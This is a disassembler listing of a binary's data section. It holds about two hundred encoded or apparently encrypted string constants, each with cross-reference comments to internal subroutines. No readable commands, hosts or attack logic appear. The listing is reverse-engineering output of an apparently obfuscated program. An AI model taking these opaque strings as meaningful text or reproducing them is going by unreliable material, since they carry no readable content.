aQrn4z10ge1i1 db 'QRn4z10ge1I1',0 ; DATA XREF: sub_40A938+235Eo
; sub_4155B9+537o
align 10h
aBvuso0ed3mw db 'bVUSO0ed3MW/',0 ; DATA XREF: sub_40A938+2380o
; sub_4155B9+542o
align 10h
aM1d_716jg1r1 db 'M1d.716Jg1r1',0 ; DATA XREF: sub_40A938+244Co
; sub_4155B9+54Do
align 10h
a6x2ka0buubb_ db '6x2Ka0buUbB.',0 ; DATA XREF: sub_40A938+2883o
; sub_4155B9+55Bo
align 10h
aUqyil_iyvpi_ db 'uQYiL.iYvpI.',0 ; DATA XREF: sub_40A938+5A1Co
; sub_4155B9+566o
align 10h
a4qyyh1q2ps1 db '4QyYH1q/2ps1',0 ; DATA XREF: sub_40A938+5C11o
; sub_4155B9+571o
align 10h
aZgidu12tiv0 db 'ZGidU12tiV0/',0 ; DATA XREF: sub_40A938+5CD2o
; sub_4155B9+57Co
align 10h
aHgcrw_cwuf5_ db 'HGCRW.CWUF5.',0 ; DATA XREF: sub_40A938+5D06o
; sub_4155B9+587o
align 10h
aGztle_nhywf db 'gzTlE.nhywf/',0 ; DATA XREF: sub_40A938+5D26o
; sub_4155B9+592o
align 10h
aTvjro1ubgtg1 db 'TVJrO1uBGtg1',0 ; DATA XREF: sub_40A938+5DFAo
; sub_4155B9+59Do
align 10h
aL80reUvcue1 db 'l80re/UvCUe1',0 ; DATA XREF: sub_40A938+5DA6o
; sub_4155B9+5A8o
align 10h
aH1cmq0wqw5c_ db 'h1cMQ0wQw5C.',0 ; DATA XREF: sub_40A938+15Fo
; sub_40A938+5E5Fo ...
align 10h
aVxa_uCdd7s0 db 'VXA.u/cDD7S0',0 ; DATA XREF: sub_40A938+5E46o
; sub_4155B9+5B6o
align 10h
aSxytb1_eejq_ db 'SXYtb1.EEjQ.',0 ; DATA XREF: sub_40A938+170o
; sub_40A938+642Co ...
align 10h
aVb1r0N_arr0 db 'vB1r0/N.Arr0',0 ; DATA XREF: sub_40A938+181o
; sub_40A938+643Do ...
align 10h
a8im6i__c829_ db '8Im6i..C829.',0 ; DATA XREF: sub_40A938+192o
; sub_40A938+644Eo ...
align 10h
aTiyj208fhvn_ db 'tIYj208FHvN.',0 ; DATA XREF: sub_40A938+1A3o
; sub_40A938+645Fo ...
align 10h
a5ngN0zjh2i1 db '5nG/N0ZJh2i1',0 ; DATA XREF: sub_40A938+1B4o
; sub_40A938+6470o ...
align 10h
aMdf9n0kzpx60 db 'mdf9n0kzPX60',0 ; DATA XREF: sub_40A938+1C5o
; sub_40A938+6481o ...
align 10h
aAtfv_jgk0x1 db '/ATfv.jgK0X1',0 ; DATA XREF: sub_40A938+1D6o
; sub_40A938+6492o ...
align 10h
aFu6k10irsc1 db 'fu6k10iRsc/1',0 ; DATA XREF: sub_40A938+1E7o
; sub_40A938+64A3o ...
align 10h
a_luua_bruje0 db '.lUua.bruje0',0 ; DATA XREF: sub_40A938+1F8o
; sub_40A938+64B4o ...
align 10h
aKzqshDhric_ db 'kzqSH/dhRIc.',0 ; DATA XREF: sub_40A938+66A5o
; sub_4155B9+632o
align 10h
aUycsBekwp0 db '/uYcs/BEKWP0',0 ; DATA XREF: sub_40A938+211o
; sub_40A938+66BEo ...
align 10h
aWwfbf_0ptze_ db 'WWFBf.0ptzE.',0 ; DATA XREF: sub_40A938+67EAo
; sub_4155B9+648o
align 10h
aFhzdv1ootfg0 db 'fhzdV1OotFg0',0 ; DATA XREF: sub_40A938+22Ao
; sub_40A938+6803o ...
align 10h
aUmk7x0pwyw9Qrn db 'Umk7x0PwyW9/QRn4z10ge1I1',0 ; DATA XREF: sub_40A938+6959o
; sub_4155B9+65Eo
align 4
aLees11vpbnf0 db 'LeEs11vPbnf0',0 ; DATA XREF: sub_40A938+2A10o
; sub_4155B9+228o
align 4
aLbjvg0r_qmb_ db 'lbJVg0r.qMb.',0 ; DATA XREF: sub_40A938+2A2Fo
; sub_4155B9+233o
align 4
aA52n11svyfw0 db 'A52N11SVYFw0',0 ; DATA XREF: sub_40A938+2B22o
; sub_4155B9+23Eo
align 4
aHj6vo0jrp9q0 db 'Hj6vo0JRP9Q0',0 ; DATA XREF: sub_40A938+2BEDo
; sub_4155B9+249o
align 4
aR7wrsQhek_0 db 'r7WRs/qHek.0',0 ; DATA XREF: sub_40A938+2C9Bo
; sub_4155B9+254o
align 4
aDuzcb0kgssv0 db 'DuzCb0KgSsv0',0 ; DATA XREF: sub_40A938+3236o
; sub_4155B9+25Fo
align 4
aDqjso_47pdb db 'dQJSO.47pdb/',0 ; DATA XREF: sub_40A938+344Co
; sub_4155B9+26Ao
align 4
aK9vUKkutm db 'K9V/U/KkuTM/',0 ; DATA XREF: sub_40A938+3513o
; sub_4155B9+275o
align 4
a7yfnz0pw11s1 db '7yfnz0PW11s1',0 ; DATA XREF: sub_40A938+35C1o
; sub_4155B9+283o
align 4
aNq_as1z1sit db 'nQ.As1Z1SIt/',0 ; DATA XREF: sub_40A938+366Fo
; sub_4155B9+28Eo
align 4
aUn3hk0sn58o_0 db 'uN3hk0sn58o/',0 ; DATA XREF: sub_40A938+36ADo
; sub_4155B9+299o
align 4
aQrn4z10ge1i1_0 db 'QRn4z10ge1I1',0 ; DATA XREF: sub_40A938+371Co
; sub_4155B9+2A4o
align 4
aIegud0v_5_ db 'iEguD0V/.5/.',0 ; DATA XREF: sub_40A938+3757o
; sub_4155B9+2AFo
align 4
aFc9kk1jx11g_ db 'fc9Kk1jX11G.',0 ; DATA XREF: sub_40A938+379Ao
; sub_4155B9+2BAo
align 4
aDnjq8Ze3zw db 'DnjQ8/ze3ZW/',0 ; DATA XREF: sub_40A938+3807o
; sub_4155B9+2C5o
align 4
aEwqxaOc1t_ db 'EWqxA//oC1T.',0 ; DATA XREF: sub_40A938+395Bo
; sub_4155B9+2D0o
align 4
aJiatz0xsump1 db 'JIAtz0xSuMp1',0 ; DATA XREF: sub_40A938+3D36o
; sub_4155B9+2DEo
align 4
aVi0qa1mvfro1 db 'VI0QA1mvfro1',0 ; DATA XREF: sub_40A938+3E33o
; sub_4155B9+2E9o
align 4
aW3gp6_13acy1 db 'W3GP6.13AcY1',0 ; DATA XREF: sub_40A938+3F1Fo
; sub_4155B9+2F4o
align 4
aE8qiq0hukv9 db 'e8qiq0Hukv9/',0 ; DATA XREF: sub_40A938+3F65o
; sub_4155B9+2FFo
align 4
a18rjk_sa2je db '18Rjk.sa2JE/',0 ; DATA XREF: sub_40A938+3FD5o
; sub_4155B9+30Ao
align 4
aLjAmKzrtp1 db 'lJ/am/kZRtP1',0 ; DATA XREF: sub_40A938+40A5o
; sub_4155B9+315o
align 4
aXzaru0amxhi_ db 'XZArU0aMxhi.',0 ; DATA XREF: sub_40A938+4198o
; sub_4155B9+320o
align 4
aRa7e2Hhxpf0 db 'rA7E2/hHXPf0',0 ; DATA XREF: sub_40A938+4281o
; sub_4155B9+32Bo
align 4
aRp4sr11cvr1 db 'Rp4sR11CvR1/',0 ; DATA XREF: sub_40A938+439Do
; sub_4155B9+339o
align 4
aZqrvt0t6nmz_ db 'ZqrVt0t6nmZ.',0 ; DATA XREF: sub_40A938+44CCo
; sub_4155B9+344o
align 4
a1shta0bzfwk1 db '1ShtA0bzFwk1',0 ; DATA XREF: sub_40A938+457Ao
; sub_4155B9+34Fo
align 4
aAzcsp_hkilo_ db 'AZcsP.hkiLO.',0 ; DATA XREF: sub_40A938+45DEo
; sub_4155B9+35Ao
align 4
aFepmfZswfd db 'FEpMF/ZswFD/',0 ; DATA XREF: sub_40A938+465Fo
; sub_4155B9+365o
align 4
aHpmch0pbq800 db 'HPmCH0PbQ800',0 ; DATA XREF: sub_40A938+51A3o
; sub_4155B9+66Co
align 4
aUfbss0cbo8c__0 db 'uFbSS0Cbo8C.',0 ; DATA XREF: sub_40A938+243o
; sub_40A938+5594o ...
align 4
aNoazx1alvg0 db 'NoaZx1Alvg/0',0 ; DATA XREF: sub_40A938+257o
; sub_40A938+578Do ...
align 4
a7fugu_n0u2m1 db '7FUgU.N0U2m1',0 ; DATA XREF: sub_40A938+2ABo
; sub_40A938+6972o ...
align 4
aW3dwl46o0u0 db 'w3dWL/46o0u0',0 ; DATA XREF: sub_40A938+6BA2o
; sub_4155B9+698o
align 4
aUbqs_hzpkh1 db '/uBQS.HZPkh1',0 ; DATA XREF: sub_40A938+2C2o
; sub_40A938+6BB9o ...
align 4
a6x7zf1eztny_ db '6x7zf1EztnY.',0 ; DATA XREF: sub_40A938+2D3o
; sub_40A938+6BCAo ...
align 4
a7otcu0fic6v0 db '7otcU0FiC6V0',0 ; DATA XREF: sub_40A938+2F5o
; sub_40A938+6BECo ...
align 4
aFyflu0ji3xh_ db 'FyFlU0jI3XH.',0 ; DATA XREF: sub_40A938+2E4o
; sub_40A938+6BDBo ...
align 4
aDnjyk0fwki__ db 'dnjYk0fWkI..',0 ; DATA XREF: sub_40A938+6BFDo
; sub_4155B9+6D2o
align 4
aXmz20Gjkq db 'xMz20//gJkQ/',0 ; DATA XREF: sub_40A938+306o
; sub_40A938+6C14o ...
align 4
aNhr6r0qsk450 db 'nHr6r0qsk450',0 ; DATA XREF: sub_40A938+6E2Do
; sub_4155B9+6E8o
align 4
aX_62c_3ldcp db 'X.62C.3LDCP/',0 ; DATA XREF: sub_40A938+31Do
; sub_40A938+7784o ...
align 4
aWt4rnWgl6v_ db 'wt4Rn/WGL6V.',0 ; DATA XREF: sub_40A938+79BDo
; sub_4155B9+6FEo
align 4
aImvbw1shwxq0 db 'iMvbW1SHwxQ0',0 ; DATA XREF: sub_40A938+334o
; sub_40A938+7555o ...
align 4
a4h4m_q_guy_ db '4h4m/.Q.GUy.',0 ; DATA XREF: sub_40A938+776Do
; sub_4155B9+714o
align 4
aPsern1aagh6_ db 'pSern1AAGh6.',0 ; DATA XREF: sub_40A938+35Co
; sub_40A938+7085o ...
align 4
aXkg84_cesgs_ db 'XkG84.cESgs.',0 ; DATA XREF: sub_40A938+369o
; sub_40A938+7220o ...
align 4
aUyfog_dvvny0 db 'UyfOG.DvVnY0',0 ; DATA XREF: sub_40A938+34Bo
; sub_40A938+6E44o ...
align 4
aP06vqBfbmo_ db 'p06vq/BFBMo.',0 ; DATA XREF: sub_40A938+376o
; sub_40A938+73CBo ...
align 4
a3vvsv1vurua db '3VVsV1VuRUA/',0 ; DATA XREF: sub_40A938+753Eo
; sub_4155B9+74Eo
align 4
aW1w2v121jsp_ db 'w1w2V121JSP.',0 ; DATA XREF: sub_40A938+383o
; sub_40A938+79D4o ...
align 4
aVz62d1m0yya db 'Vz62d1m0Yya/',0 ; DATA XREF: sub_40A938+7B5Eo
; sub_4155B9+764o
align 4
aF4c9z1ubcg80 db 'F4c9z1UBCg80',0 ; DATA XREF: sub_40A938+7B6Fo
; sub_4155B9+76Fo
align 4
a2yclo0srxpi db '2YClO0SRxpi/',0 ; DATA XREF: sub_40A938+7CD5o
; sub_4155B9+77Do
align 4
aH3yh9_xq_s2_ db 'h3YH9.Xq.S2.',0 ; DATA XREF: sub_40A938+7CECo
; sub_4155B9+788o
align 4
aIwbkf0o1om6Qrn db 'IwBKf0O1Om6/QRn4z10ge1I1',0 ; DATA XREF: sub_40A938+7E9Bo
; sub_4155B9+793o
align 4
aKmdie1uwntq db 'KmdIe1UwntQ/',0 ; DATA XREF: sub_40A938+3A4o
; sub_40A938+8142o ...
align 4
aUpx0wCz2ei0qrn db 'UPx0W/cz2EI0QRn4z10ge1I1',0 ; DATA XREF: sub_40A938+8291o
; sub_4155B9+7A9o
align 4
aV6jbh0k4uD_ db 'V6jBH0k4u/d.',0 ; DATA XREF: sub_40A938+3BDo
; sub_40A938+82C3o ...
align 4
aB2smo_whkew_qr db 'B2smo.WHkeW.QRn4z10ge1I1',0 ; DATA XREF: sub_40A938+836Eo
; sub_4155B9+7BFo
align 10h
aVxg7n_qbmg90aa db 'vXG7N.qBMG90aA/Td0EX07M1',0 ; DATA XREF: sub_40A938+83C1o
; sub_4155B9+7CAo
align 4
aEm42x_1iszi1 db 'Em42x.1IsZI1',0 ; DATA XREF: sub_40A938+397o
; sub_40A938+7EB4o ...
align 4
aErnniHm17t1qrn db 'ERNNi/HM17T1QRn4z10ge1I1',0 ; DATA XREF: sub_40A938+8119o
; sub_4155B9+7E3o
align 4
aQ5l5f_2to_60 db 'q5l5f.2TO.60',0 ; DATA XREF: sub_40A938+85D7o
; sub_40A938+8619o ...
align 4
aJbkl4Fbwcf1 db 'jBKL4/FbWCF1',0 ; DATA XREF: sub_40A938+85E4o
; sub_40A938+862Do ...
align 4
aW3gp6_13acy1_0 db 'W3GP6.13AcY1',0 ; DATA XREF: sub_40A938+8642o
; sub_4155B9+804o
align 4
aM08se_kt9td1 db 'M08SE.Kt9tD1',0 ; DATA XREF: sub_40A938+872Bo
; sub_4155B9+80Fo
align 4
a3eowx2ocng db '3eowX/2OCnG/',0 ; DATA XREF: sub_40A938+8805o
; sub_4155B9+81Ao
align 4
aS3dyJzo6r db 's3dY//JZo6r/',0 ; DATA XREF: sub_40A938+894Do
; sub_4155B9+825o
align 4
aUwher1dagd80 db 'UWher1DAGD80',0 ; DATA XREF: sub_40A938+8986o
; sub_4155B9+833o
align 4
aPnb_aBfzu60 db 'pNb.a/Bfzu60',0 ; DATA XREF: sub_40A938+89BFo
; sub_4155B9+83Eo
align 4
aZu2s6_o7_yt db 'Zu2s6.O7.yt/',0 ; DATA XREF: sub_40A938+89D5o
; sub_4155B9+849o
align 4
a4hftz6holr db '4hftZ/6HOlR/',0 ; DATA XREF: sub_40A938+8A21o
; sub_4155B9+854o
align 4
aYqrdp_9rf4u0 db 'yqrdP.9rF4U0',0 ; DATA XREF: sub_40A938+8A76o
; sub_4155B9+85Fo
align 4
a1uyis15kh_n1 db '1UyIs15KH.n1',0 ; DATA XREF: sub_40A938+8ABCo
; sub_4155B9+86Ao
align 4
a9ljbh07crkd__0 db '9lJBH07crkD.',0 ; DATA XREF: sub_40A938+8B02o
; sub_4155B9+875o
align 4
aD0ron_ctdg0_ db 'D0roN.CTDg0.',0 ; DATA XREF: sub_40A938+8B19o
; sub_40A938+8B8Do ...
align 4
aFr8ri0f9nfz_ db 'fr8ri0f9NfZ.',0 ; DATA XREF: sub_40A938+8B37o
; sub_40A938+8BAFo ...
align 4
aWbzcx0Dknt_ db 'wbZcx0/Dknt.',0 ; DATA XREF: sub_40A938+8B55o
; sub_40A938+8BD1o ...
align 4
aNyjsr1cv5ch0 db 'NyJsR1cV5CH0',0 ; DATA XREF: sub_40A938+8C00o
; sub_4155B9+8A4o
align 4
aI6sd4ctzn0 db '/I6sD/4CTzn0',0 ; DATA XREF: sub_40A938+8F00o
; sub_4155B9+8AFo
align 4
aWrlthN3uh_1 db 'WRlth/n3Uh.1',0 ; DATA XREF: sub_40A938+8FABo
; sub_4155B9+8BAo
align 4
aYqjsn0wtutn1 db 'yQJsn0wtUtn1',0 ; DATA XREF: sub_40A938+906Do
; sub_4155B9+8C5o
align 4
aTy2nt0oi2yk db 'ty2nT0oI2YK/',0 ; DATA XREF: sub_40A938+106o
; sub_40A938+421o ...
align 4
a6h4nn1igjm60 db '6h4NN1IGJm60',0 ; DATA XREF: sub_40A938:loc_40CCCEo
; sub_40A938+240Co ...
align 4
aUr6ne_mot50_ db 'Ur6ne.MOT50.',0 ; DATA XREF: sub_40A938+2703o
; sub_40A938+2749o ...
align 4
aHm1h_049e4o db 'Hm1H.049e4O/',0 ; DATA XREF: sub_40A938+299Ao
; sub_4155B9+90Ao ...
align 4
aWj27_1belx20 db 'wj27.1Belx20',0 ; DATA XREF: sub_4155B9+915o
; sub_41BD3B+355o
align 4
aPrttt0s3ag916n db 'pRTtT0s3aG916N5aw.affEY1',0 ; DATA XREF: sub_4155B9+8FFo
align 4
aAl_N0kenp20 db 'Al./N0Kenp20',0 ; DATA XREF: sub_40A938+95o
; sub_40A938+ABo ...
align 4
aFfec81uznt81 db 'fFEC81UzNT81',0 ; DATA XREF: sub_40A938:loc_40AD3Do
; sub_40A938+9DDCo ...
align 4
aJvatg1988z81 db 'jVATg1988z81',0 ; DATA XREF: sub_40A938+AA3o
; sub_40A938+9E4Fo ...
align 4
aMflx2_qu4vy_ db 'mflX2.QU4VY.',0 ; DATA XREF: ?9:00401909o
; sub_401990+Fo ...
align 4
aXlpyr1anpgm0 db 'xLpyR1aNPGm0',0 ; DATA XREF: sub_407E1C+72o
; sub_40A938+21Co ...
align 4
aWpukb_0uioaOfu db 'WPUkb.0uIoa/OFUur11TNYw0',0 ; DATA XREF: ?9:0040A479o
; ?9:0040A4A2o ...
align 10h
aC4dd9_nojvo1 db 'C4dD9.nojvO1',0 ; DATA XREF: sub_40A938+5BBFo
; sub_40A938:loc_41053Do ...
align 10h
aJt17j1imtvd1 db 'jt17J1ImTVD1',0 ; DATA XREF: sub_4020AA+CEo
; sub_402CBA+489o ...
align 10h
aLtlec18us5q0 db 'LTLec18US5q0',0 ; DATA XREF: sub_40A938+C1o
; sub_40A938+F61o ...
align 10h
a6atss0dycwf_6n db '6atSs0dyCWF.6N5aw.affEY1',0 ; DATA XREF: sub_40A938+D7o
; sub_40A938+10E3o ...
align 4
a7_pak0onymn7ra db '7.PaK0OnymN/7Razv/1FefF.',0 ; DATA XREF: sub_40A938+EDo
; sub_40A938+15FFo ...
align 4
aWhdag1glagf_ db 'WHdAg1glAgf.',0 ; DATA XREF: sub_40A938:loc_40AD25o
; sub_40A938+4781o ...
align 4
aLmecq0ygcok db 'lmecq0yGcoK/',0 ; DATA XREF: sub_40A938+4A92o
; sub_40A938+4BFEo ...
align 4
aRccsh_adukf1 db 'RcCSh.AdUKf1',0 ; DATA XREF: sub_40A938+51C9o
; sub_40A938+51EBo ...
align 4
aXu6cu1p_sn6_6n db 'XU6CU1p.SN6.6N5aw.affEY1',0 ; DATA XREF: sub_40A938+2A72o
; sub_40A938+2AD3o ...
align 4
aHuudgYqzdz db 'HuuDG/YQZDz/',0 ; DATA XREF: sub_40A938+24Eo
; sub_40A938+55DCo ...
align 4
a6hwiyOatg9_6n5 db '6HWiy/OAtg9.6N5aw.affEY1',0 ; DATA XREF: sub_40A938+262o
; sub_40A938+57A6o ...
align 10h
aPtami1_agv db 'PTaMI1/.aGV/',0 ; DATA XREF: sub_40A938+8844o
; sub_40A938:loc_41319Ao ...
align 10h
aUhdhc1pcv9i db 'uhdhC1pCV9i/',0 ; DATA XREF: sub_40A938:loc_40BE45o
; sub_4155B9+9ECo ...
align 10h
aWulzr_x7xjb0 db 'WUlZR.X7XjB0',0 ; DATA XREF: sub_40A938+29Do
; sub_40A938+1743o ...
align 10h
aBjatzQyrs11 db 'BjAtz/qyRS11',0 ; DATA XREF: sub_40A938+2B6o
; sub_40A938+69CFo ...
align 10h
aBvygm_afzkh0 db 'BVYGm.aFzkh0',0 ; DATA XREF: sub_40A938:loc_40AD19o
; sub_40A938+6C08o ...
align 10h
aLcgg60qk2mf0 db 'Lcgg60QK2mf0',0 ; DATA XREF: sub_40A938+311o
; sub_40A938+6C68o ...
align 10h
aYhzck13caog0 db 'YhzCK13CaOG0',0 ; DATA XREF: sub_40A938:loc_40AD12o
; sub_40A938+6EA3o ...
align 10h
aAxauo_rlggx0 db 'aXauo.rLGgX0',0 ; DATA XREF: sub_40A938+33Fo
; sub_40A938+75B2o ...
align 10h
aVfeso_qcgdt_ db 'vfEsO.QcgDt.',0 ; DATA XREF: sub_40A938+38Eo
; sub_40A938+7AACo ...
align 10h
aSsoce0jbtxi db 'sSOce0JbTXI/',0 ; DATA XREF: sub_40A938+7D26o
; sub_40A938+7DA9o ...
align 10h
aQsoz9_vfvwu0 db 'QSOZ9.vFVWu0',0 ; DATA XREF: sub_40A938:loc_40ACE7o
; sub_40A938+7F1Co ...
align 10h
aXiw8_1hhx7d1 db 'Xiw8.1HHX7d1',0 ; DATA XREF: sub_4155B9+A60o
; sub_420399+14Fo ...
align 10h
aO_sxv_ze9bk1go db 'O.sxv.ze9bK1GOISY.dO.Vn1',0 ; DATA XREF: sub_40A938+69o
; sub_40A938+A5Fo ...
align 4
aXwzwo1pqcgt16n db 'XWzwO1PqcgT16N5aw.affEY1',0 ; DATA XREF: sub_40A938+328o
; sub_40A938+77E1o ...
align 4
a5oke1awbzq db '5OkE/1AWBZq/',0 ; DATA XREF: sub_4020AA+C9o
; sub_406C3A+B5o ...
align 4
aIhfnL6b5x db '/iHFN/l6B5X/',0 ; DATA XREF: sub_40A938+FCFo
; sub_40A938+1637o ...
align 4
aAsqfy_k1uah0 db 'AsQfy.K1uah0',0 ; DATA XREF: sub_4155B9+A8Co
; sub_418A0D+126o ...
align 4
aBnjcz_zig1m0 db 'bNJcZ.ziG1m0',0 ; DATA XREF: sub_403374+6Bo
; sub_40A938+8396o ...
align 4
aSfe3h0kclgx0 db 'SFe3H0kCLgx0',0 ; DATA XREF: sub_40242A+1C6o
; sub_4155B9+AA2o ...
align 4
aYdidb16dnmq_ db 'YdidB16dnMQ.',0 ; DATA XREF: sub_40242A+A7o
; sub_40242A+C9o ...
align 4
aQvdspRbq6w0 db 'QvDsp/rBQ6w0',0 ; DATA XREF: sub_4155B9+ABBo
; sub_4181F4+3F8o ...
align 4
aVv3aj1ywfkc_xz db 'VV3AJ1ywFkC.XzinP/s/R0A.',0 ; DATA XREF: sub_40A938+52BDo
; sub_40A938+533Fo ...
align 4
aNd4qzY5xml0rna db 'nD4Qz/y5xMl0RNAQI05pV11/XzinP/s/R0A.',0 ; DATA XREF: sub_4155B9+AD1o
; sub_4181F4+722o ...
align 4
aRy6iq0udbph db 'RY6IQ0UDbPh/',0 ; DATA XREF: sub_4155B9+ADCo
; sub_4181F4+241o ...
align 4
aW3nki_guvjx db 'w3NKI.gUvJx/',0 ; DATA XREF: sub_4155B9+AE7o
; sub_4181F4+6A9o ...
align 4
aRy6iq0udbphLlD db 'RY6IQ0UDbPh/LL/Dw.r3B9K/',0 ; DATA XREF: sub_40A938+5686o
; sub_40A938+5747o ...
align 4
aRy6iq0udbphN2n db 'RY6IQ0UDbPh/N2NHs/pc9zb/8Wb3v063Ds00',0 ; DATA XREF: sub_40A938+5912o
; sub_4155B9+AFDo ...
align 10h
a8cbgoRjryr_ db '8CBGO/rJRYr.',0 ; DATA XREF: sub_4020AA+B4o
; sub_40A938+220Co ...
align 10h
aKbwmi16jfhl db 'KbwMi16jFhl/',0 ; DATA XREF: sub_4020AA+C4o
; sub_402646+B3o ...
align 10h
aIde746o6B_ db 'Ide74/6o6/B.',0 ; DATA XREF: sub_402646+AEo
; sub_4155B9+B21o
align 10h
aY2lm40nv3yaP4m db 'Y2LM40Nv3Ya/p4MrM1AZiAp1eUok8/eobtx1',0 ; DATA XREF: sub_40A938+62C3o
; sub_40A938+63B4o ...
align 4
a7zfry0iusme1 db '7Zfry0IUSmE1',0 ; DATA XREF: ?9:004086C7o ?9:00408758o ...
align 4
a_9fty1n2tM_ db '.9ftY1N2T/m.',0 ; DATA XREF: sub_401B6E+1E8o
; sub_401B6E+278o ...
align 4
aVxppy0owq7d db 'VxPpy0owQ7D/',0 ; DATA XREF: sub_401B6E+190o
; sub_401B6E+21Do ...
align 4
aW50oj_ac8ak0 db 'w50OJ.ac8AK0',0 ; DATA XREF: sub_401B6E+1E3o
; sub_401B6E+273o ...
align 4
aVgh9x1uWay0 db 'VgH9X1u/wAY0',0 ; DATA XREF: sub_401B6E+1C0o
; sub_401B6E+251o ...
align 4
aEih0f1gakfp0 db 'EiH0f1GakFP0',0 ; DATA XREF: sub_401B6E+23Bo
; sub_4063FA+1CEo ...
align 4
aUfbss0cbo8c_ db 'uFbSS0Cbo8C.',0 ; DATA XREF: sub_401B6E+1A8o
; sub_401B6E+22Fo ...
align 4
aLvk_hHddio0 db 'Lvk.H/hddio0',0 ; DATA XREF: sub_401B6E+195o
; sub_401B6E+222o ...
align 4
aJsuah_0_mmw0zb db 'JsuAH.0.mmW0zbFKT0RKhRb0',0 ; DATA XREF: sub_401B6E+185o
; sub_401B6E+212o ...
align 4
aAqq27_7qqv10 db 'AQQ27.7qQv10',0 ; DATA XREF: sub_401B6E+17Ao
; sub_401B6E+207o ...
align 4
a2Afm0dt3o6_ db '2/Afm0dt3o6.',0 ; DATA XREF: ?9:0040865Fo
; ?9:loc_4086E4o ...
align 4
aQvp40nd9f2 db '/qvP40nD9F2/',0 ; DATA XREF: sub_4155B9+BB3o
; sub_420399+29Co ...
align 4
aMkk0_mvscp_hwh db 'mKK0/.MVScP.hwHKV/Er1cB0ZvOBu/66U/i/nNp.h0vRRTD1Po4dT/gU924/',0
; DATA XREF: sub_4155B9+BC1o
; sub_420399+25Eo ...
align 4
aShktk1eNl8Jlzt db 'sHKtk1e/Nl8/jLZte1JtI/t1',0 ; DATA XREF: sub_4155B9+BCCo
; sub_420399+14Ao
align 10h
aZcm1__num3n0oe db 'ZcM1..nUM3N0OE819.1TEYD.',0 ; DATA XREF: sub_4155B9+BD7o
; sub_420399+208o
align 4
a5_xnq0cowxs0 db '5.Xnq0cowXs0',0 ; DATA XREF: sub_40A938+8E8o
; sub_40A938+90Fo ...
align 4
a8y4sz09fdh50tc db '8Y4sz09fDH50tccap0cH5OH0/mDXM1sxCV2/iNReP/bJcGz.',0
; DATA XREF: sub_40A938+933o
; sub_40A938+955o ...
align 10h
aRnyaa0crtpo0yy db 'RNYAA0crTPO0yYB2h.Fe8bw.iRLzu0EdQ3j/1D6Op1DNN3X.',0
; DATA XREF: sub_40A938+968o
; sub_4155B9+BF8o
align 4
aEuior0ay2w7_ db 'EUIOR0ay2w7.',0 ; DATA XREF: sub_40A938+8D7o
; sub_40A938+9C7o ...
align 4
aTfee90w_vdg1u8 db 'TFEE90W.vdG1u8Ajp1eidrT.d2k2X/no6gm/',0 ; DATA XREF: sub_403374+82o
; sub_403374:loc_403414o ...
align 4
aIbtox1Hofe0hcx db 'IBtOx1/HOfe0Hcxmb/oUlVg00eWuQ.F61Hj/',0 ; DATA XREF: sub_403374+C3o
; sub_40A938+D17o ...
align 4
aTpzyk0moe8_0jt db 'TpzyK0MOE8.0jTPEZ1dC0uG0',0 ; DATA XREF: sub_40A938+D68o
; sub_40A938+D8Eo ...
align 10h
a4ezrg1ye5hp1o2 db '4Ezrg1ye5hp1O2jqY1BhtQc.jTPEZ1dC0uG0',0 ; DATA XREF: sub_40A938+DA4o
; sub_40A938+DCAo ...
align 4
aJqrlpUxr08Qqdu db 'JQrlp/UXr08/qqduw/ZeDHN/N/Wda.tYScO0znNna1b7t5k0pequ3.5yg/c/',0
; DATA XREF: sub_40A938+DECo
; sub_40A938+F7Ao ...
align 4
a4ezrg1ye5hp1au db '4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO6N/QGUB30',0
; DATA XREF: sub_40A938+EE8o
; sub_40A938+F0Eo ...
align 4
a2ms3c_kjtek0 db '2MS3c.kJTeK0',0 ; DATA XREF: sub_40A938+1A71o
; sub_4155B9+C53o
align 4
aOgyzo1Qmpy1 db 'OGyZo1/qmpy1',0 ; DATA XREF: sub_40A938+1A6Bo
; sub_4155B9+C5Eo
align 4
aNI427pnt0 db 'n/i4//27pnT0',0 ; DATA XREF: sub_40A938+1A59o
; sub_4155B9+C69o
align 4
aXg4wo0gh6fy0p9 db 'xg4wO0Gh6FY0p9CIj.BYYVY.',0 ; DATA XREF: sub_40A938+1A53o
; sub_4155B9+C77o
align 4
aTarxm0mtxpp_ db 'tArXm0mtxpp.',0 ; DATA XREF: sub_406D50+D1o
; sub_407252+63o ...
align 4
aQ3bef_grjcn1aa db 'Q3BEf.grJCN1aA/Td0EX07M1',0 ; DATA XREF: sub_40A938+19D3o
; sub_40A938:loc_40C359o ...
align 4
aPJs70eukyp0 db 'P/JS70EukYp0',0 ; DATA XREF: sub_40A938:loc_40C342o
; sub_4155B9+C98o
align 4
aUDneTzo8s_omqd db 'u/DnE/tzo8s.OMQDW1DERIa/',0 ; DATA XREF: sub_40A938+1B93o
; sub_4155B9+CA3o
align 10h
a2n67h0pevch1 db '2n67H0PEVch1',0 ; DATA XREF: sub_4155B9+CAEo
align 10h
a5v1zc1efrzg_tc db '5v1zc1EfRZg.tccap0cH5OH0NHckR.k9Wj.1',0 ; DATA XREF: sub_40A938+426o
; sub_4155B9+CB9o
align 4
a6f3al1m_ydx05y db '6f3aL1m.YdX05ythl/YiVnR/jSlje0VWu/50pequ3.5yg/c/',0
; DATA XREF: sub_40A938+B2Bo
; sub_4155B9+CC4o
align 4
a3un9w_temux_5y db '3Un9W.TEMuX.5ythl/YiVnR/J9IiO.VPA7i1',0 ; DATA XREF: sub_4155B9+CD2o
; sub_4181F4+662o
align 4
aNeuf6qyoiMdAn1 db 'NEuF//6QYOi/Md/AN15kOfy.nR01m1pzFKu1',0 ; DATA XREF: sub_40A938+1BD6o
; sub_4155B9+CE8o
align 4
a7nmru1owjrg0md db '7NmRu1oWjRG0Md/AN15kOfy.nR01m1pzFKu1',0 ; DATA XREF: sub_4155B9+CDDo
align 4
aNxruj_viib6 db 'nxruJ.vIib6/',0 ; DATA XREF: sub_4155B9+CF3o
; sub_418EDB:loc_418F0Do
align 4
a5gcpxGycn21n1z db '5GCpx/gYCn21N1Zsj.w3Ty30',0 ; DATA XREF: sub_4155B9+CFEo
; sub_418EDB+1ACo
align 10h
aFoabg1acvfoOsd db 'fOaBg1ACVfo/osdpb1E0v95.',0 ; DATA XREF: sub_40A938+711o
; sub_40A938+1516o ...
align 4
aPimgt12pvee_ db 'pImgT12pvEE.',0 ; DATA XREF: sub_40A938+28FAo
; sub_4155B9+D14o
align 4
aJgyqn0dmzir12z db 'jgYqN0dmziR12zQe40gFoLm.rilJR.uuL/I0',0
